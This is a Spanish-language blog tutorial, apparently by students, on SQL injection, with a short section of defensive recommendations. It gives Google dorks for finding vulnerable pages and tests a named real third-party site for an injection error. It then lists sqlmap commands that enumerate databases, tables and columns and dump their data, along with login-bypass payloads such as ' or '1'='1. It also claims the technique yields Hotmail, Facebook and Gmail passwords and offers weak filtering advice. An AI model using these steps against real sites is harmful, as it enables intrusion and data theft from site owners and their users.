SQL INJECTION

El siguiente ataque tiene uso académico, no nos responsabilizamos por el uso que se le dé a la información, nuestro propósito es dar a conocer esta técnica para que usted se proteja de ataques similares.

Bienvenido al interesante mundo informático, en esta ocasión tenemos el agrado de mostrarle(s) cómo realizar un ataque SQL Injection, sin embargo muy probablemente usted(es) dirá(n) ¿qué es esto?,¿En qué consiste? O ¿De qué me están hablando? Bueno tranquilo(s) que aquí vamos a explicarles en primer punto conceptos porque consideramos que para que puedan explotar lo interesante del tema, primero deben saber de lo que estamos hablando, para lo cual daremos una pequeña introducción.

1.1.- INTRODUCCIÓN

¿Qué es? ¿En qué consiste?

Muy frecuentemente se piensa que a través de SQL solamente se puede obtener acceso a la base de datos. Esto generalmente es así, pero SQL es un lenguaje muy versátil y nos permite hacer muchas cosas… entre ellas leer archivos en el disco duro.

El sql injection es un tipo de ataque a una base de datos en el cual, por la mala filtración de las variables se puede inyectar un código creado por el atacante al propio código fuente de la base de datos, consiste en la modificación del comportamiento de nuestras consultas mediante la introducción de parámetros no deseados en los campos a los que tiene acceso el usuario.

La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.

Con sql injection podemos obtener correos electrónicos y passwords de cuentas de hotmail, facebook, gmail, yahoo, entre otros.

¿Por qué es peligroso?

Porque pueden no solo sacar información de la base de datos (usuarios, contraseñas, etc.), sino también pueden borrar la base de datos, dejarla inservible.

1.1.1.- OBJETIVOS

Propósito

El propósito del ataque es acceder a pórtales web y acceder a los registros de las tablas pudiendo administrarlas a nuestro antojo.

1.2.- DIAGRAMA DEL ATAQUE

1.3.- ALCANCE

Ataque a servidores.

1.4.- GLOSARIO DE TÉRMINOS

Cliente.- Es una aplicación informática o un computador que consume un servicio remoto en otro computador conocido como servidor normalmente a través de una red de telecomunicación.

Función Booleana.- Es una función cuyo dominio son las palabras conformadas por los valores binarios 0 ó 1 (“falso” o “verdadero“, respectivamente), y cuyo codominio son ambos valores 0 y 1.

Create.- Término en inglés cuyo significado en español es Crear.

Delete.- Término en inglés cuyo significado en español es Borrar.

Google dork.-Es un parámetro de búsqueda que nos muestra un listado de páginas que tienen el formato para ser posiblemente inyectadas.

Retrieve.- Término en inglés cuyo significado en español es Recuperar.

Servidor.- Computadora que formando parte de una red provee servicios a otras computadoras denominadas clientes.

Tester.- Llámesele al individuo y/o agente encargado de realizar las pruebas.

Update.- Término en inglés cuyo significado en español es Actualizar

2.- TUTORIAL

Pasos a seguir

En este caso, lo primero que realizamos fue la búsqueda de páginas vulnerables al ataque SQL injectiom, las mismas que deben mostrar su id.

“.php=?id=#”

“.asp=?id=#”

Éste proceso lo pueden realizar de varias maneras:

1) Puedes digitar alguna GoogleDork. Ejemplo:

lnurl:php?id=

inurl:php?sid=

inurl:asp?id=

inurl:newsdetail.php?id=

inurl:index.php?id=

Cómo saber si el sitio es vulnerable o no.

Tenemos que saber si es vulnerable o no, para eso pondremos un apostrofe “ ‘ “ al final del link de la pagina que queremos vulnerar. Si nos dispara un error, quiere decir que es vulnerable, si no, quiere decir que los administradores tienen al día su sitio, sin embargo no quiere decir que no sea vulnerable, solo que requiere un grado de especialización mayor para lograr penetrar el sitio.

Ingresaremos al siguiente sitio antes de verificar si tiene vulnerabilidad.

http://microngc.net/info_page.php?id=22

http://microngc.net/info_page.php?id=22′

Al agregar el apostrofe y actualizar el link notamos el siguiente error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1.

Esto es un indicio de que la pagina es vulnerable.

Una vez que conseguí mi página vulnerable hago uso de la herramienta SqlMap que nos permite realizar la inyecciónSQL automatizada:

Abrimos la ventana de comandos del sqlmap

Colocamos la siguiente línea de comando para extraer el nombre de la base de datos de la web vulnerable:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –-dbs

Donde –ues para colocar el URL y –-dbspara extraer el nombre de la base

Después de realizar el comando anterior procedemos a colocar la siguiente línea de comandos:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –-tables

Donde –Des para el nombre de la base de datos y –-tables para extraer las tablas de dicha base.

En la imagen anterior nos muestra las tablas que contiene la aplicación web, sin embargo nosotros tenemos el poder de decidir a qué tabla acceder.

Ahora procedemos a sacar las columnas de una de las tablas con el siguiente comando:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –T (nombre_tabla) –columns

Donde –T es para el nombre de la tabla y –-columns para extraer las columnas de dicha tabla.

Ahora procedemos a sacar los datos del campo que elegimos Ejecutamos el comando

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –T (nombre_tabla) –C (nombre_columna) –-dump

Donde –Ces para el nombre de la columna y –-dumppara extraer la información

Bueno eso fue todo, espero que les haya gustado y sean eticos con las webs que vayan a encontrar de este tipo, no realicen modificaciones en las cuentas que logren entrar, ya que eso solamente lo harías los lammers,recuerden que el propósito de este blog es aprender para servir.

 

Otra Manera

 

Pues además de hacer uso del backtrack, también podemos emplear lógica booleana, la cual nos permitirá engañar a los pórtales web que han sido diseñados sin seguir todos los parámetros de seguridad necesarios, recordemos que nada es 100% seguro, y muchos programadores aún cometen el siguiente error:

“SELECT * FROM TRABAJADOR WHERE [clave personal]=’” & pass & “‘ AND TRABAJADOR=’” & usuario & “‘”

Seguramente si alguna vez has programado enviando datos por parámetros, te dirás, ¿qué le pasa? Ahí no hay errores, y en parte tienes razón pues no hay errores, sin embargo no estás tomando todas las medidas de seguridad necesarias, mira qué sucede si a la línea de código antes expresada le añado lo siguiente:

’ or ‘a’=‘a’

Ahora observa cómo viene a quedar la sentencia

“SELECT * FROM TRABAJADOR WHERE [clave personal] =’’ or ‘a’=‘a’‘ AND TRABAJADOR=’’ or ‘a’=‘a’‘”

En este caso, cómo ya sabemos la lógica del or tiende a dar por verdadero si al menos una de sus condiciones es verdadera, en este caso a=a.

También puedes hacerlo sin hacer la comparación:

‘or ‘ ‘=’

Sucede que el carácter que permite inyectar SQL es la comilla simple. Este carácter es interpretado por SQL como el inicio de una instrucción y podemos concatenar nuestras instrucciones si lo hacemos con habilidad.

Para este caso, tú mi querido amigo(a) quién luego de juzgarme, te has dado cuenta que no mentía, cometías el error de no filtrar la entrada. Si tan sólo hubieras aplicado un filtro para no permitir caracteres extraños, el error nunca sucedería, por tanto te recomiendo que siempre uses filtros, ah y por cierto comunícale eso a cualquier conocido que se maneje en el apasionante mundo informático.

Para que puedan poner en práctica la inyección sql con lógica booleana, les mencionaremos unas cuantas páginas vulnerables

2.1.- RECOMENDACIONES

* Lo más sensato que debemos tener en cuenta al prevenir estos ataques es filtrar el carácter ‘ (comilla simple) por “ (comilla doble), e incluso evitando que los usuarios puedan pasar caracteres como \ / “ ‘ o cualquier otro que se nos ocurra que puede causar problemas si hablamos a nivel de web, hacerlo siempre en cliente y servidor, si hablamos en un entorno de red local, filtrar la entrada del campo en el programa.
A nivel de web, si sólo se filtra en el cliente, es fácil saltarse la validación y provocar un fallo del estilo de los que hemos visto, para extraer información, de ahí la necesidad de hacerlo en el cliente.

* Otro factor importante en cuanto a la seguridad es limitar al máximo los permisos del usuario que ejecuta estas sentencias para evitar posibles problemas.

Por ejemplo utilizando un usuario distinto para
las sentencias SELECT, DELETE, UPDATE y asegurándonos que cada ejecución de una sentencia ejecute una sentencia del tipo permitido.

* Por supuesto utilizar el usuario que pertenezca al rol ‘db_owner’ para ejecutar las sentencias de uso habitual de la base de datos debería quedar descartado.

Una solución definitiva sería trabajar con procedimientos almacenados.
El modo en el que se pasan los parámetros a los procedimientos almacenados evita que la inyección SQL pueda ser usada. Por ejemplo utilizando el siguiente procedimiento almacenado:

CREATE Procedure Validar @usuario varchar (50), @passwordvarchar (50)

AS
If (SELECT Count (*) FROMUsuarios WHEREUsuario=@Usuario and Password=@password)>0
Return 1
Return 0

También deberíamos validar los datos que introduce el usuario teniendo en cuenta por ejemplo la longitud de
los campos y el tipo de datos aceptados.

Por último, podemos programar en ASP.NET y utilizar siempre que seanposibles las clases

System.Web.Security.FormsAuthentication para que los usuarios entren en nuestras aplicaciones Web.

Cómo pueden observar en el dibujo, en el usuario digitamos ‘or’1’=’1 y lo mismo en la contraseña.

Acá ya tenemos el resultado, es decir pudimos acceder a  la página deseada.

 

A continuación el video

2.1.- CONCLUSIONES

Vemos cuán peligroso puede ser este tipo de ataque, recuerden que éste se vale de las vulnerabilidades en nuestras aplicaciones, cómo mencionamos desde la introducción, se pueden obtener todos los datos que quieran de nuestra base de datos y de ficheros alojados en el servidor de tal manera que nuestros registros pierden seguridad a tal punto que podrían borrar toda la tabla con una simple línea de código.

2.2.- AUTORES

Castro Campoverde Estefania               @jocfacastro

Castro Vásquez Ketty                      @KettyCastroV

Garaicoa Prado Daniela                    @dani_garaicoa

García Ruíz Sandy                         @dayanns1990

Jiménez Fernández Thalia                       @thaijife92